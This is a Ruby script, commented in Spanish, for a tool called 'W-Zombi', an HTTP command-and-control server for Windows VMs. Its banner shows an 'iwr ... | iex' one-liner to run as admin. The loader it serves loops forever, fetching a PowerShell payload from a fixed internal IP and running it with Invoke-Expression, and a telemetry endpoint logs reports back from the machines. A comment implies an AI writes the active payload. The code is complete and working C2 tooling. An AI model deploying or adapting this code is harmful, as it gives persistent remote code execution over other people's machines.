#!/usr/bin/env ruby # frozen_string_literal: true # W-Zombi Servidor — Servidor HTTP de inyección lateral para VMs Windows # Uso: ruby servidor.rb [opciones] # # Sirve archivos del directorio payloads/ y recibe telemetría POST desde las VMs. # El archivo payloads/activo.ps1 es el que consumirá el loop C2 de la VM. require 'webrick' require 'json' require 'fileutils' TOOL_DIR = File.expand_path(__dir__) PAYLOADS = File.join(TOOL_DIR, 'payloads') LOG_FILE = File.join(TOOL_DIR, 'telemetria.log') PORT = (ARGV.find { |a| a.match?(/^\d+$/) } || 8000).to_i # Colores ANSI C = { reset: "\e[0m", green: "\e[32m", cyan: "\e[36m", yellow: "\e[33m", red: "\e[31m", dim: "\e[2m" } def banner puts "#{C[:green]}╔══════════════════════════════════════════════════╗#{C[:reset]}" puts "#{C[:green]}║ 🧟 W-ZOMBI Servidor — Inyección Lateral ║#{C[:reset]}" puts "#{C[:green]}╚══════════════════════════════════════════════════╝#{C[:reset]}" puts "#{C[:cyan]}Puerto: #{C[:yellow]}#{PORT}#{C[:reset]}" puts "#{C[:cyan]}Payloads: #{C[:yellow]}#{PAYLOADS}/#{C[:reset]}" puts "#{C[:cyan]}Telemetría:#{C[:yellow]}#{LOG_FILE}#{C[:reset]}" puts "#{C[:dim]}─────────────────────────────────────────────────────#{C[:reset]}" # Listar payloads disponibles Dir.glob(File.join(PAYLOADS, '*.ps1')).sort.each do |f| name = File.basename(f) activo = name == 'activo.ps1' ? " #{C[:green]}◀ ACTIVO#{C[:reset]}" : '' puts " 📄 #{C[:cyan]}#{name}#{C[:reset]}#{activo}" end puts "#{C[:dim]}─────────────────────────────────────────────────────#{C[:reset]}" puts "#{C[:yellow]}En la VM (PowerShell Admin):#{C[:reset]}" puts " #{C[:green]}iwr 10.0.10.8:#{PORT}/zombi.ps1 -useb|iex#{C[:reset]}" puts "#{C[:dim]}─────────────────────────────────────────────────────#{C[:reset]}" puts '' end def timestamp Time.now.strftime('%H:%M:%S') end def log_telemetry(msg) line = "[#{Time.now.strftime('%Y-%m-%d %H:%M:%S')}] #{msg}" File.open(LOG_FILE, 'a') { |f| f.puts(line) } puts "#{C[:cyan]}[#{timestamp}] 📡 TELEMETRÍA:#{C[:reset]} #{msg}" end # Crear directorio de payloads si no existe FileUtils.mkdir_p(PAYLOADS) # Si no hay activo.ps1, crear uno vacío señalizador activo = File.join(PAYLOADS, 'activo.ps1') unless File.exist?(activo) File.write(activo, "Write-Host 'W-Zombi: Sin payload activo. La IA lo actualizara pronto.' -ForegroundColor Yellow\n") end # Servidor HTTP server = WEBrick::HTTPServer.new( Port: PORT, Logger: WEBrick::Log.new('/dev/null'), AccessLog: [] ) # Ruta principal: sirve el loader (zombi.ps1) dinámicamente server.mount_proc '/zombi.ps1' do |_req, res| # Genera un loader que apunta al payload activo loader = <<~PS1 Write-Host "======================================================" -ForegroundColor Green Write-Host " ZOMBI C2 LOOP — Conectado a srv-ns8:#{PORT} " -ForegroundColor Green Write-Host "======================================================" -ForegroundColor Green Write-Host "CTRL+C para detener." -ForegroundColor DarkGray Write-Host "" while ($true) { try { $payload = Invoke-RestMethod -Uri "http://10.0.10.8:#{PORT}/payloads/activo.ps1" -UseBasicParsing -ErrorAction Stop if ($payload -and $payload.Trim() -ne "") { try { Invoke-Expression $payload } catch { Write-Host ">>> ERROR EN PAYLOAD <<<" -ForegroundColor Red Write-Host $_.Exception.Message -ForegroundColor Red Start-Sleep -Seconds 10 } } } catch {} for ($i = 10; $i -gt 0; $i--) { Write-Host -NoNewline "`r[ZOMBI] Esperando payload... $i seg " if ([console]::KeyAvailable) { $null = $Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown") break } Start-Sleep -Seconds 1 } Write-Host -NoNewline "`r `r" } PS1 res['Content-Type'] = 'text/plain' res.body = loader puts "#{C[:green]}[#{timestamp}] 🧟 Loader descargado por VM#{C[:reset]}" end # Servir payloads estáticos server.mount('/payloads', WEBrick::HTTPServlet::FileHandler, PAYLOADS) # Endpoint de telemetría (POST /log) server.mount_proc '/log' do |req, res| if req.request_method == 'POST' body = req.body || '' msg = if body.include?('=') URI.decode_www_form(body).to_h['msg'] || body else body end log_telemetry(msg) unless msg.strip.empty? end res['Content-Type'] = 'text/plain' res.body = 'OK' end # Señal de parada limpia trap('INT') do puts "\n#{C[:yellow]}[#{timestamp}] Servidor detenido.#{C[:reset]}" server.shutdown end banner server.start